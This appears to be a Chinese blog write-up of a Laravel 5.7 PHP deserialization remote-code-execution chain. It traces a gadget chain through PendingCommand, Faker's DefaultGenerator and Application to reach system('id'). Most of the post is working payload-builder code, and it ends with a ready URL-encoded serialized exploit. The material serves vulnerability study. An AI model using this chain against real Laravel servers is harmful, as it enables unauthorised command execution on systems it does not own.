Hu3sky's blog

laravel5.7-unserialize-RCE

Word count: 1,244 / Reading time: 7 min
2019/08/15 Share

入口

入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

有反序列化的点


vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php

发现了一个call_user_func可控的点
不过他是一个静态调用,无法序列化

1
2
3
if (static::$toMailCallback) {
return call_user_func(static::$toMailCallback, $notifiable, $this->token);
}

PendingCommand

关于该文件
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html

vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php

image
文档中说明了,command是执行的命令,而parameters是参数,注意这里的paramters是一个数组

有一个run函数,描述为Execute the command.,并且,该文件的__destruct函数调用了run方法

1
2
3
4
5
6
7
8
public function __destruct()
{
if ($this->hasExecuted) {
return;
}

$this->run();
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function run()
{
$this->hasExecuted = true;

//模拟应用程序的控制台输出
$this->mockConsoleOutput();

try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}

...

if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}

return $exitCode;
}

关键函数应该就是这个call函数了,在
vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php
image

那么要执行到call,就要先执行mockConsoleOutput()
我们构造payload进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public function __construct()
{
$this->command = 'system';
$this->parameters = array('id');
}
}
}

namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}

现在调试发现程序到了
image
然后再单步跳到了
image
报了错,直接跳过了foreach,因为此时的test的值是null,那我们给test一个初始值,test是一个类
我这里随便找了一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
public function __construct()
{
$this->test=new \App\Providers\AppServiceProvider();
$this->command = 'system';
$this->parameters = array('id');
}
}
}

namespace App\Providers{
class AppServiceProvider
{
public function boot()
{
//
}
}
}

namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}

还是报错了,因为没有expectedQuestions这个属性
全局搜索后,都没有发现这个方法,那怎么才能绕过呢
如果有__get方法,就能在不存在expectedQuestions的方法的时候,自动去调用__get方法
于是我们寻找有__get的类

source/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
//expectedQuestions
$this->default = $default;
}

/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->default;
}

我们将default的值设置为一个数组,因为返回值是一个数组image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $app;
public $test;
protected $command;
protected $parameters;
public function __construct()
{
$this->$app = new \Illuminate\Foundation\Application();
$this->test=new \Faker\DefaultGenerator(array("111"=>"aaa","222"=>"bbb"));
$this->command = 'system';
$this->parameters = array('id');
}
}
}

namespace Illuminate\Foundation{
class Application{
public function __construct()
{}
}
}

namespace Faker{
class DefaultGenerator
{
public function __construct($default = null)
{
//expectedQuestions
$this->default = $default;
}
}
}

namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}

然后就运行到了
image
结果又报错了
image
而此刻我打印出的$app[Kernel::class]的值是null

继续跟进$this->app[Kernel::class]
调用堆栈
image

到最后一步的时候,判断是否可以实例化,结果不可以。
image

跟进$this->app[Kernel::class]
resolve的返回值是null

image
可以控制返回任意一个可实例化的类

我们修改payload让其为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $app;
public $test;
protected $command;
protected $parameters;
public function __construct()
{
$this->app = new \Illuminate\Foundation\Application(new \Illuminate\Foundation\Application);
$this->test=new \Faker\DefaultGenerator(array("111"=>"aaa","222"=>"bbb"));
$this->command = 'system';
$this->parameters = array('id');
}
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace Faker{
class DefaultGenerator
{
public function __construct($default = null)
{
//expectedQuestions
$this->default = $default;
}
}
}

namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}

再调试一下

Illuminate\Foundation\Application 类继承了 Illuminate\Container\Container类的 call方法
Illuminate\Foundation\Application类没有call方法,但是它的父类Illuminate\Container\Container是有call方法的
于是 这里跳到了Illuminate\Container\Container
image
并且Illuminate\Container\Container的call方法又是来自BoundMethod::call

image
getMethodDependencies函数返回值是
array_merge('', array('id'));
image

于是,相当于是
call_user_func_array(system,array('id'));

end

1
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A7%3A%22default%22%3Ba%3A2%3A%7Bi%3A111%3Bs%3A3%3A%22aaa%22%3Bi%3A222%3Bs%3A3%3A%22bbb%22%3B%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

image

CATALOG
  1. 1. 入口
  2. 2.
  3. 3. PendingCommand
  4. 4. end